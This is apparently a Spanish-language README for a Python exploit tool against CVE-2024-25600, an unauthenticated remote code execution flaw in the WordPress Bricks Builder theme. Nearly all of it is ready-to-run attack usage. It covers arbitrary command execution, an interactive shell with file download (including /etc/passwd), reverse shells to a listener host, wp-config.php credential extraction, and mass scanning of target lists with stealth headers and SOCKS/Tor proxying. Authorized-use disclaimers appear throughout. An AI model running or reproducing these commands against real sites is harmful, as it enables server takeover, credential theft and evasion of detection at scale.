
CVE-2024-25600 - Exploit de RCE no autenticado para el tema Bricks Builder de WordPress. Framework de explotación avanzado con shell interactivo, shells inversas, carga/descarga de archivos, escaneo asíncrono, modo sigiloso, soporte de proxy y escaneo de vulnerabilidades multihilo. Solo para pruebas de seguridad autorizadas.
Herramienta de evaluación de seguridad autorizada para CVE-2024-25600
Autor: Sudeepa Wanigarathna · Herramienta: BricksRCE Exploiter v1.0
Script principal: cve-2024-25600.py

[!IMPORTANT] Solo uso autorizado. Esta herramienta es para investigación de seguridad, educación y pruebas de sistemas que posees o para los cuales tienes permiso explícito por escrito. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso.
CVE-2024-25600 es una vulnerabilidad crítica de ejecución remota de código sin autenticación en el tema de WordPress Bricks Builder. El manejo inadecuado de la entrada controlada por el usuario en el endpoint REST render_element permite que atacantes no autenticados ejecuten comandos arbitrarios de PHP/sistema en las instalaciones afectadas.
BricksRCE Exploiter (cve-2024-25600.py) es una herramienta de evaluación Python completa para profesionales de seguridad autorizados:
| Atributo | Valor |
|---|---|
| ID CVE | CVE-2024-25600 |
| CVSS | 9.8 (Crítico) |
| Vector de Ataque | Red — sin autenticación |
| Impacto | Ejecución remota de código completa, compromiso de confidencialidad / integridad / disponibilidad |
| Producto Afectado | Tema de WordPress Bricks Builder |
| Versiones Afectadas | Bricks ≤ 1.9.6 (corregido en 1.9.6.1+) |
| Tipo de Vulnerabilidad | Ejecución Remota de Código sin Autenticación |
| CWE | CWE-94 (Control Inadecuado de la Generación de Código) |
| Endpoint | Método |
|---|---|
/wp-json/bricks/v1/render_element | POST |
/?rest_route=/bricks/v1/render_element | POST |
render_element manipulada con una carga útil de elemento malicioso| Capacidad | Descripción |
|---|---|
| Detección de vulnerabilidad | Confirma RCE mediante una sonda controlada basada en marcadores |
| Extracción de nonce | Descubrimiento de nonce multimétodo (scripts, fuente de página, meta, REST) |
| Detección de versión | Identifica la versión de Bricks Builder desde CSS / readme / REST |
| Shell interactivo | REPL completo con historial, autocompletado y transferencia de archivos |
| Modo de comando único | Ejecuta un comando y sale (apto para scripting) |
| Ayudantes de reverse shell | Genera shells inversos bash / nc / Python / PHP / Perl / Ruby |
| Extracción de wp-config | Intenta localizar y leer wp-config.php |
| Escaneo masivo | Escaneo multiobjetivo asíncrono o con hilos desde una lista de URLs |
| Capacidad | Descripción |
|---|---|
| Limitación de velocidad | Retardo configurable entre solicitudes |
| Lógica de reintento | Retroceso exponencial en tiempos de espera y errores de conexión |
| Rotación de User-Agent | Huellas digitales de navegador aleatorias por solicitud |
| Modo sigiloso | Cabeceras Accept-Language / Accept-Encoding aleatorias |
| Soporte de proxy | HTTP, HTTPS, SOCKS5 / SOCKS5h |
| Extremos duales | Preferir wp-json, rest_route o ambos |
| Modo forzado | Omitir verificación previa e intentar explotación directamente |
| CLI enriquecida | Barras de progreso, tablas y paneles coloreados con Rich |
| Capacidad | Descripción |
|---|---|
| Exportación JSON / TXT | Guardar resultados de escaneo y objetivos vulnerables |
| Historial de comandos | Registro opcional de comandos ejecutados |
| Registro en archivo | bricks_rce.log persistente más rutas de registro personalizadas |
pipgit clone https://github.com/CerberusMrXi/WP-Bricks-Exploit-CVE-2024-25600.git
cd WP-Bricks-Exploit-CVE-2024-25600
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 cve-2024-25600.py --help
requests>=2.31.0
aiohttp>=3.9.0
beautifulsoup4>=4.12.0
lxml>=4.9.0
prompt-toolkit>=3.0.0
rich>=13.7.0
pysocks>=1.7.0 # opcional — soporte para proxy SOCKS5
Reemplace
https://target.examplecon un objetivo de laboratorio o autorizado únicamente.
# Shell interactivo
python3 cve-2024-25600.py -u https://target.example
# Comando único
python3 cve-2024-25600.py -u https://target.example --cmd "id"
# Escaneo masivo
python3 cve-2024-25600.py -f targets.txt -t 20 -o results.json
# Detección de versión
python3 cve-2024-25600.py -u https://target.example --detect-version
# A través de proxy de Burp
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v
Todos los ejemplos usan el script principal:
cve-2024-25600.py
python3 cve-2024-25600.py --help
Abre un shell interactivo RCE después de confirmar que el objetivo es vulnerable.
python3 cve-2024-25600.py -u https://target.example
Flujo de trabajo:
--force)python3 cve-2024-25600.py -u https://target.example --cmd "whoami"
Guardar la salida del comando en un archivo:
python3 cve-2024-25600.py -u https://target.example --cmd "id" --save-output
# Carga útil predeterminada basada en excepción PHP
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload php
# Carga útil basada en system()
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload system
python3 cve-2024-25600.py -u https://target.example --detect-version
Combinar con un comando:
python3 cve-2024-25600.py -u https://target.example --detect-version --cmd "id"
python3 cve-2024-25600.py -u https://target.example --extract-wp-config
Se guarda como wp-config_<objetivo>.txt si tiene éxito.
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — reverse shell bash
python3 cve-2024-25600.py -u https://target.example \
--reverse-shell bash \
--lhost 10.0.0.5 \
--lport 4444
Todos los tipos de shell inverso compatibles:
python3 cve-2024-25600.py -u https://target.example --reverse-shell bash --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell nc --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell python --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell php --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell perl --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell ruby --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --force --cmd "uname -a"
# targets.txt — una URL por línea
python3 cve-2024-25600.py -f targets.txt
Con hilos, retardo, sigilo y salida JSON:
python3 cve-2024-25600.py -f targets.txt \
-t 15 \
--delay 0.5 \
--stealth \
-o vulnerable.json
Escaneo síncrono (pool de hilos) en lugar de asíncrono:
python3 cve-2024-25600.py -f targets.txt --sync -t 10 -o results.txt
Escaneo masivo silencioso:
python3 cve-2024-25600.py -f targets.txt -q -o results.json
# Ambos endpoints (predeterminado)
python3 cve-2024-25600.py -u https://target.example --endpoint both
# Solo /wp-json/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint json
# Solo /?rest_route=/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint rest_route
python3 cve-2024-25600.py -u https://target.example \
--stealth \
--delay 1.0 \
--max-retries 5 \
--timeout 20
# UA personalizado
python3 cve-2024-25600.py -u https://target.example \
--user-agent "Mozilla/5.0 (compatible; SecurityScanner/1.0)"
# Deshabilitar rotación aleatoria de UA
python3 cve-2024-25600.py -u https://target.example --no-random-ua
# Proxy HTTP (ej. Burp Suite)
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v
# Proxy SOCKS5
python3 cve-2024-25600.py -u https://target.example --proxy socks5://127.0.0.1:9050
# SOCKS5h (DNS a través de proxy / Tor)
python3 cve-2024-25600.py -u https://target.example --proxy socks5h://127.0.0.1:9050
# Habilitar verificación de certificado SSL (deshabilitada por defecto)
python3 cve-2024-25600.py -u https://target.example --verify-ssl
# Guardar resultados de escaneo como JSON
python3 cve-2024-25600.py -f targets.txt -o results.json
# Guardar resultados de escaneo como TXT
python3 cve-2024-25600.py -f targets.txt -o results.txt
# Archivo de registro de aplicación personalizado
python3 cve-2024-25600.py -u https://target.example --log-file assessment.log -v
# Registrar comandos ejecutados
python3 cve-2024-25600.py -u https://target.example --command-log commands.log --cmd "id"
# Registro verboso / depuración
python3 cve-2024-25600.py -u https://target.example -v
# Modo silencioso (salida mínima)
python3 cve-2024-25600.py -u https://target.example -q --cmd "id"
python3 cve-2024-25600.py -f targets.txt \
-t 25 \
--timeout 20 \
--delay 0.2 \
--max-retries 5 \
-o results.json
python3 cve-2024-25600.py -u https://target.example \
--detect-version \
--extract-wp-config \
--stealth \
--delay 0.8 \
--timeout 20 \
--max-retries 5 \
--endpoint both \
--proxy http://127.0.0.1:8080 \
--log-file bricks_assessment.log \
--command-log commands.log \
-v
Después de iniciar con -u (sin --cmd / --reverse-shell):
Shell> whoami
Shell> id
Shell> pwd
Shell> ls -la
Shell> help
Shell> clear
Shell> download /etc/passwd
Shell> upload ./local.txt /tmp/remote.txt
Shell> php id
Shell> system uname -a
Shell> exit
| Argumento | Descripción |
|---|---|
-u, --url | URL de un solo objetivo |
-f, --file | Archivo que contiene URLs objetivo (una por línea) |
| Argumento | Predeterminado | Descripción |
|---|---|---|
-t, --threads | 10 | Trabajadores concurrentes para escaneos masivos |
--delay | 0.5 | Retardo entre solicitudes (segundos) |
--timeout | 15 | Tiempo de espera de solicitud HTTP (segundos) |
--max-retries | 3 | Intentos de reintento en caso de fallo |
--force | desactivado | Omitir verificación de vulnerabilidad |
--sync | desactivado | Usar pool de hilos en lugar de asíncrono |
| Argumento | Descripción |
|---|---|
--user-agent | Cadena User-Agent personalizada |
--no-random-ua | Deshabilitar rotación de User-Agent |
--proxy | URL de proxy (http://, https://, socks5://, socks5h://) |
--stealth | Habilitar modo sigiloso (cabeceras aleatorias + retardos) |
--endpoint | json | rest_route | both (predeterminado: both) |
| Argumento | Descripción |
|---|---|
--cmd | Ejecutar un solo comando y salir |
--payload | Tipo de carga útil: php (predeterminado) o system |
--reverse-shell | Tipo de shell: bash, nc, python, php, perl, ruby |
--lhost | Host del listener para reverse shell |
--lport | Puerto del listener para reverse shell |
--extract-wp-config | Intentar extraer wp-config.php |
--detect-version | Detectar versión de Bricks Builder |
--save-output | Guardar salida de comando único en un archivo |
| Argumento | Descripción |
|---|---|
-o, --output | Archivo de resultados (.json o .txt) |
--log-file | Ruta personalizada de registro detallado |
--command-log | Registrar comandos ejecutados en un archivo |
-v, --verbose | Registro de depuración |
-q, --quiet | Salida mínima en consola |
--verify-ssl | Habilitar verificación de certificado SSL (desactivado por defecto) |
Al explotar un solo objetivo sin --cmd o --reverse-shell, se abre un shell interactivo:
Shell> whoami
www-data
Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell> help
| Comando | Descripción |
|---|---|
exit | Salir del shell |
help | Mostrar ayuda |
clear | Limpiar la pantalla |
download [remoto] | Descargar un archivo remoto (transferencia base64) |
upload [local] [remoto] | Subir un archivo local al objetivo |
php [comando] | Ejecutar mediante carga útil PHP (predeterminado) |
system [comando] | Ejecutar mediante carga útil system() |
~/.bricks_rce_historyPaneles, barras de progreso y tablas de resultados potenciados por Rich:
[*] Probando: https://target.example
[+] ¡https://target.example es vulnerable!
[+] Shell interactivo abierto exitosamente
| Métrica | Descripción |
|---|---|
| Total Procesado | URLs escaneadas |
| Exitoso | Confirmado vulnerable |
| Fallido | No vulnerable / inalcanzable |
| Vulnerables Encontrados | Recuento de objetivos RCE confirmados |
| Comandos Ejecutados | Total de ejecuciones de comandos RCE |
| Tiempo Transcurrido | Duración del escaneo en tiempo real |
-o results.json){
"timestamp": "2026-07-17T01:30:00",
"version": "1.0.0",
"config": {
"threads": 10,
"timeout": 15,
"delay": 0.5
},
"stats": {
"processed": 100,
"vulnerable": 3,
"failed": 97
},
"vulnerable_targets": [
{
"url": "https://target.example",
"timestamp": "2026-07-17T01:31:12"
}
]
}
| Archivo | Propósito |
|---|---|
bricks_rce.log | Registro de aplicación por defecto (solo añadir) |
--log-file RUTA | Manejador de registro personalizado adicional |
--command-log RUTA | Registro de auditoría de comandos ejecutados |
| Síntoma | Qué probar |
|---|---|
| Nonce no encontrado | Confirmar que Bricks está activo; probar con -v; asegurar que la página principal carga |
| Objetivo no vulnerable | Verificar Bricks ≤ 1.9.6; probar con --force; comprobar ambos endpoints |
| Tiempos de espera de conexión | Aumentar --timeout / --max-retries; comprobar proxy |
| Límite de velocidad (429) | Aumentar --delay; activar --stealth |
| Errores SSL | Por defecto omite verificación; usar --verify-ssl solo cuando sea necesario |
| Inestabilidad asíncrona | Usar --sync para escaneo con hilos |
| Fallo de reverse shell | Confirmar que el listener está activo; probar tipos de shell alternativos (python, nc) |
| Salida de comando vacía | El comando pudo haber tenido éxito sin stdout; probar echo test |
| wp-config no encontrado | Las rutas varían según el host; usar shell interactivo con find / cat personalizado |
# Verificación verbosa de un solo objetivo
python3 cve-2024-25600.py -u https://target.example --detect-version -v
# A través de Burp para inspección de solicitudes
python3 cve-2024-25600.py -u https://target.example \
--proxy http://127.0.0.1:8080 -v --cmd "id"
# Preferir un endpoint específico
python3 cve-2024-25600.py -u https://target.example --endpoint json -v
exploit/
├── cve-2024-25600.py # BricksRCE Exploiter (v1.0)
├── requirements.txt # Dependencias Python
├── README.md # Este archivo
├── bricks_rce.log # Registro de ejecución (generado)
└── venv/ # Virtualenv local (opcional, no incluido en el control de versiones)
Este proyecto se proporciona tal cual para investigación de seguridad defensiva y pruebas de penetración autorizadas.
Al usar este software, aceptas que:
Si descubres esta vulnerabilidad en entornos de producción que no posees, sigue prácticas de divulgación responsable y coordina con el propietario del sitio / el equipo de seguridad de Bricks Builder.
El acceso no autorizado a sistemas informáticos es un delito federal.
| Rol | Nombre |
|---|---|
| Autor de la Herramienta | Sudeepa Wanigarathna |
| CVE | CVE-2024-25600 |
| Herramienta | BricksRCE Exploiter v1.0 |
| Script Principal | cve-2024-25600.py |
| Licencia | MIT |
Licencia MIT
Copyright (c) 2024–2026 Sudeepa Wanigarathna
Por la presente se concede permiso, libre de cargos, a cualquier persona que obtenga una copia
de este software y los archivos de documentación asociados (el "Software"), para tratar
el Software sin restricción, incluyendo sin limitación los derechos
de uso, copia, modificación, fusión, publicación, distribución, sublicencia y/o venta
de copias del Software, y para permitir a las personas a las que se les proporcione el
Software hacer lo mismo, sujeto a las siguientes condiciones:
El aviso de copyright anterior y este aviso de permiso se incluirán en todas las
copias o partes sustanciales del Software.
EL SOFTWARE SE PROPORCIONA "TAL CUAL", SIN GARANTÍA DE NINGÚN TIPO, EXPRESA O
IMPLÍCITA, INCLUYENDO PERO NO LIMITADO A LAS GARANTÍAS DE COMERCIABILIDAD,
IDONEIDAD PARA UN PROPÓSITO PARTICULAR Y NO INFRACCIÓN.
Solo para pruebas de seguridad autorizadas.